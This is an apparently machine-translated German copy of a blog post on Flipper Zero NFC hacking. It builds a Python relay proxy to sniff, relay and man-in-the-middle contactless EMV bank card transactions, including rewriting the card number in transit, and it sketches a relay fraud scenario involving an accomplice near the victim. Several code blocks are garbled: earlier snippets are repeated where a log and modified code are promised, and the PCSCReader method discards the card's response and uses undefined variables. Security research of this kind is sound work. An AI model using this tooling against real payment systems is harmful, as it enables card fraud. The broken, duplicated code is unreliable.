Heim >Backend-Entwicklung >Python-Tutorial >Flipper Zero NFC-Hacking – EMV-Banking, Man-in-the-Middle- und Relay-Angriffe
In unserem vorherigen Beitrag haben wir untersucht, wie der Flipper sowohl als kontaktloser NFC-Kartenleser als auch als NFC-Kartenemulator fungieren kann. Wenn wir diese beiden Funktionalitäten kombinieren, ergeben sich eine Reihe potenzieller Angriffsszenarien auf Kartenlesetransaktionen:
In diesem Beitrag gehen wir ausführlich auf diese drei Fragen ein.
Das obige Diagramm (hier in höherer Qualität verfügbar) veranschaulicht den Aufbau, den wir zum Testen der verschiedenen zuvor beschriebenen Angriffe einrichten möchten.
Zuvor haben wir die gesamte Datenverarbeitungslogik auf ein Python-Skript verlagert, das außerhalb des Flippers ausgeführt wird. Durch diesen Ansatz entfällt die Notwendigkeit, die Firmware zu aktualisieren oder neue Firmware hochzuladen, wann immer wir Änderungen vornehmen möchten. Es stellt sich jedoch die Frage: Wird dieser Python-Proxy eine Latenz verursachen, die die Kommunikation stören und zum Scheitern führen könnte?
Bevor wir diese Frage beantworten, werfen wir einen Blick auf die Python-Skripte, die wir zum Einrichten dieser Konfiguration verwenden werden.
Im vorherigen Blogbeitrag haben wir die beiden Hauptkomponenten dieses Setups behandelt:
Jetzt geht es einfach darum, beides miteinander zu verbinden. Worüber genau reden wir?
Diese Anforderungen an den Reader führten zur Erstellung der abstrakten Reader-Klasse, die unten beschrieben wird. Darüber hinaus haben wir eine Methode eingeführt, um eine Verbindung zum Leser herzustellen.
class Reader(): def __init__(self): pass def connect(self): pass def field_off(self): pass def field_on(self): pass def process_apdu(self, data: bytes) -> bytes: pass
Als nächstes erstellen wir unten eine minimalistische PCSCReader-Klasse, um mit einem PC/SC-Reader zu interagieren.
class PCSCReader(Reader): def __init__(self): pass def connect(self): available_readers = readers() if len(available_readers) == 0: print("No card reader avaible.") sys.exit(1) # We use the first detected reader reader = available_readers[0] print(f"Reader detected : {reader}") # Se connecter à la carte self.connection = reader.createConnection() self.connection.connect() def process_apdu(self, data: bytes) -> bytes: print(f"apdu cmd: {data.hex()}") self.connection.transmit(list(data)) resp = bytes(data + [sw1, sw2]) print(f"apdu resp: {resp.hex()}") return resp
Jetzt können wir mit der Implementierung des Kartenemulators, Emu genannt, fortfahren, wie unten gezeigt. Es akzeptiert ein optionales Reader-Objekt als Parameter. Sofern vorhanden, stellt es eine Verbindung mit dem Lesegerät her.
class Emu(Iso14443ASession): def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None): Iso14443ASession.__init__(self, cid, nad, drv, block_size) self._addCID = False self.drv = self._drv self.process_function = process_function self._pcb_block_number: int = 1 # Set to one for an ICC self._iblock_pcb_number = 1 self.iblock_resp_lst = [] self.reader = reader if self.reader: self.reader.connect()
Als nächstes definieren wir drei Methoden, um dem Leser Ereignisse mitzuteilen: Ausschalten des Feldes, Einschalten des Feldes und Senden einer APDU.
# class Emu(Iso14443ASession): def field_off(self): print("field off") if self.reader: self.reader.field_off() def field_on(self): print("field on") if self.reader: self.reader.field_on() def process_apdu(self, apdu): if self.reader: return self.reader.process_apdu(apdu) else: self.process_function(apdu)
Als nächstes haben wir die Methode verbessert, die für die Verwaltung der Befehlskommunikation des Kartenemulators auf TPDU-Ebene verantwortlich ist. Insbesondere wenn ein vollständiger APDU-Befehl empfangen wird, wird die Methode „process_apdu“ aufgerufen, um ihn an den Leser weiterzuleiten und die Antwort von der eigentlichen Karte abzurufen.
# class Emu(Iso14443ASession): def rblock_process(self, tpdu: Tpdu) -> Tuple[str, bool]: print("r block") if tpdu == "BA00BED9": rtpdu, crc = "BA00", True elif tpdu.pcb in [0xA2, 0xA3, 0xB2, 0xB3]: if len(self.iblock_resp_lst): rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True else: rtpdu = self.build_rblock(ack=True).hex() crc = True return rtpdu, crc def low_level_dispatcher(self): capdu = bytes() ats_sent = False iblock_resp_lst = [] while 1: r = fz.emu_get_cmd() rtpdu = None print(f"tpdu < {r}") if r == "off": self.field_off() elif r == "on": self.field_on() ats_sent = False else: tpdu = Tpdu(bytes.fromhex(r)) if (tpdu.tpdu[0] == 0xE0) and (ats_sent is False): rtpdu, crc = "0A788082022063CBA3A0", True ats_sent = True elif tpdu.r: rtpdu, crc = self.rblock_process(tpdu) elif tpdu.s: print("s block") # Deselect if len(tpdu._inf_field) == 0: rtpdu, crc = "C2E0B4", False # Otherwise, it is a WTX elif tpdu.i: print("i block") capdu += tpdu.inf if tpdu.is_chaining() is False: rapdu = self.process_function(capdu) capdu = bytes() self.iblock_resp_lst = self.chaining_iblock(data=rapdu) rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True print(f">>> rtdpu {rtpdu}\n") fz.emu_send_resp(bytes.fromhex(rtpdu), crc)
Schließlich implementieren wir die Methode, mit der die Kartenemulation vom Flipper Zero aus gestartet wird.
# class Emu(Iso14443ASession): def run(self): self.drv.start_emulation() print("...go!") self.low_level_dispatcher()
Die Python-Skripte sind fertig; Werfen wir nun einen Blick auf das Hardware-Setup, mit dem wir sie testen werden.
Unten finden Sie unsere kleine Nachbildung einer Angriffsumgebung. Von links nach rechts haben wir:
Perfekt, wir haben jetzt alle notwendigen Komponenten, um die Angriffe durchzuführen! Lasst uns kämpfen!
Wir können zunächst versuchen, zu schnüffeln, was bedeutet, dass die APDU-Befehle/Antworten vom Flipper ohne Änderungen an die Karte weitergeleitet werden.
Das funktioniert einwandfrei und bleibt stabil, wobei der Python-Code als Vermittler keine spürbaren Auswirkungen hat! Wenn der Python-Proxy zu viel Latenz verursacht und das Terminal anfängt zu jammern, dass die Karte zu langsam sei, haben wir eine Lösung dafür. Etwas, zu dessen Umsetzung ich (noch) nicht gekommen bin:
Unten finden Sie einen Auszug aus einem Protokoll.
class Reader(): def __init__(self): pass def connect(self): pass def field_off(self): pass def field_on(self): pass def process_apdu(self, data: bytes) -> bytes: pass
Tatsächlich können auf einer Karte Hunderte verschiedener Anwendungen installiert sein, jede mit ihrer eigenen, einzigartigen AID. Ein Terminal versucht nicht, sie alle einzeln auszuprobieren. Aus diesem Grund gibt es im Bereich des kontaktlosen Bankings auf allen Karten eine spezielle Anwendung, die darauf hinweist, welche Bankanwendungen auf der Karte verfügbar sind. Seine AID ist 325041592e5359532e4444463031, was in ASCII als 2PAY.SYS.DDF01 übersetzt wird.
Später in der Kommunikation können wir sehen, wie diese Anwendung aufgerufen wird (wie unten gezeigt). Daher erscheint die bisherige Auswahl der Anwendung mit AID D2760000850101, wie zuvor besprochen, ungewöhnlich.
class PCSCReader(Reader): def __init__(self): pass def connect(self): available_readers = readers() if len(available_readers) == 0: print("No card reader avaible.") sys.exit(1) # We use the first detected reader reader = available_readers[0] print(f"Reader detected : {reader}") # Se connecter à la carte self.connection = reader.createConnection() self.connection.connect() def process_apdu(self, data: bytes) -> bytes: print(f"apdu cmd: {data.hex()}") self.connection.transmit(list(data)) resp = bytes(data + [sw1, sw2]) print(f"apdu resp: {resp.hex()}") return resp
Beim Parsen der Antwort können Sie sehen, dass sie (neben anderen Details) auf das Vorhandensein einer Anwendung mit der AID A0000000041010 hinweist, die MasterCard entspricht.
Somit wählt das Telefon schließlich diese Anwendung aus.
Anschließend werden verschiedene Details von der Karte abgerufen, einschließlich der primären Kontonummer (PAN). Die auf der Karte angezeigte Nummer stimmt mit der auf dem Terminal angezeigten überein, was bestätigt, dass unser Relay-Angriff, der auf einfachem Schnüffeln beruht, erfolgreich war!
Natürlich machen Tools wie Proxmark das Schnüffeln viel einfacher, aber warum sollte man es einfach machen, wenn man es auch kompliziert machen kann ;) ?
Kommen wir nun zum Man-in-the-Middle-Angriff. Das bedeutet, dass wir der Kommunikation nicht nur zuhören, sondern sie aktiv verändern. Ein interessanter Anwendungsfall könnte die Änderung der Kartennummer sein, beispielsweise die Änderung von 5132 in 6132.
Wenn wir auf die Protokolle unserer vorherigen Kommunikation zurückgreifen, können wir sehen, dass diese Daten im Klartext übertragen werden. Sie werden mit READ RECORD-Befehlen wie 00B2010C00 und 00B2011400 von der Karte abgerufen.
Da die Daten unverschlüsselt sind und keinen Integritätsschutz haben, können wir sie nach Wunsch ändern. Um dies zu implementieren, aktualisieren wir einfach die Methode „process_apdu“ in unserer Klasse „PCSCReader“, um die Änderung zu verarbeiten.
class Emu(Iso14443ASession): def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None): Iso14443ASession.__init__(self, cid, nad, drv, block_size) self._addCID = False self.drv = self._drv self.process_function = process_function self._pcb_block_number: int = 1 # Set to one for an ICC self._iblock_pcb_number = 1 self.iblock_resp_lst = [] self.reader = reader if self.reader: self.reader.connect()
Und wie im Bild unten gezeigt, ist sich die Anwendung der Änderung überhaupt nicht bewusst!
Warum es funktioniert? Die Antwort finden Sie im Bild unten, das die verschiedenen Kommunikationsebenen beschreibt:
Wir können auch Spaß haben ... Da ich die Änderungen hastig vorgenommen habe, habe ich die Daten gelegentlich zufällig geändert. In einem Fall, wie im Bild unten gezeigt, führte dies dazu, dass die Anwendung einen riesigen Zeichenblock für die Kartennummer anzeigte, obwohl diese eigentlich auf 16 Ziffern begrenzt sein sollte!
Dies eröffnet einige interessante Möglichkeiten für Fuzzing-Experimente.
Wie zu Beginn dieses Blogbeitrags erwähnt, besteht ein Relay-Angriff darin, die Kommunikation zwischen zwei Parteien (z. B. einer NFC-Karte und einem Terminal) abzufangen und weiterzuleiten, ohne sie zu verändern, wodurch das Terminal zu der Annahme verleitet wird, dass es mit der legitimen Person kommuniziert Karte in Echtzeit.
Ein Hacker möchte eine Zahlung am Terminal vornehmen. Er leitet die Kommunikation des Terminals an einen Komplizen in der Nähe eines Opfers weiter, der dann ohne sein Wissen mit der Karte des Opfers kommuniziert.
Das vorherige Experiment hat gezeigt, dass dieser Angriff in einer kontrollierten Umgebung, wie einer Garage, möglich ist. In realen Szenarien sind jedoch zusätzliche Herausforderungen zu berücksichtigen.
Eine der wichtigsten Gegenmaßnahmen gegen Relay-Angriffe ist die Messung des Timings der Kommunikation, da das Relay spürbare Verzögerungen verursacht. Das ältere EMV-Protokoll enthält jedoch keine Befehle zur Erleichterung solcher Zeitprüfungen.
Wir sind am Ende dieses Blogbeitrags angelangt. Ich hoffe, Ihnen hat der Inhalt gefallen! Der Python-Code und die modifizierte Flipper Zero-Firmware sind auf meinem GitHub verfügbar.
https://github.com/gvinet/pynfreader
https://github.com/gvinet/flipperzero-firmware
Das obige ist der detaillierte Inhalt vonFlipper Zero NFC-Hacking – EMV-Banking, Man-in-the-Middle- und Relay-Angriffe. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!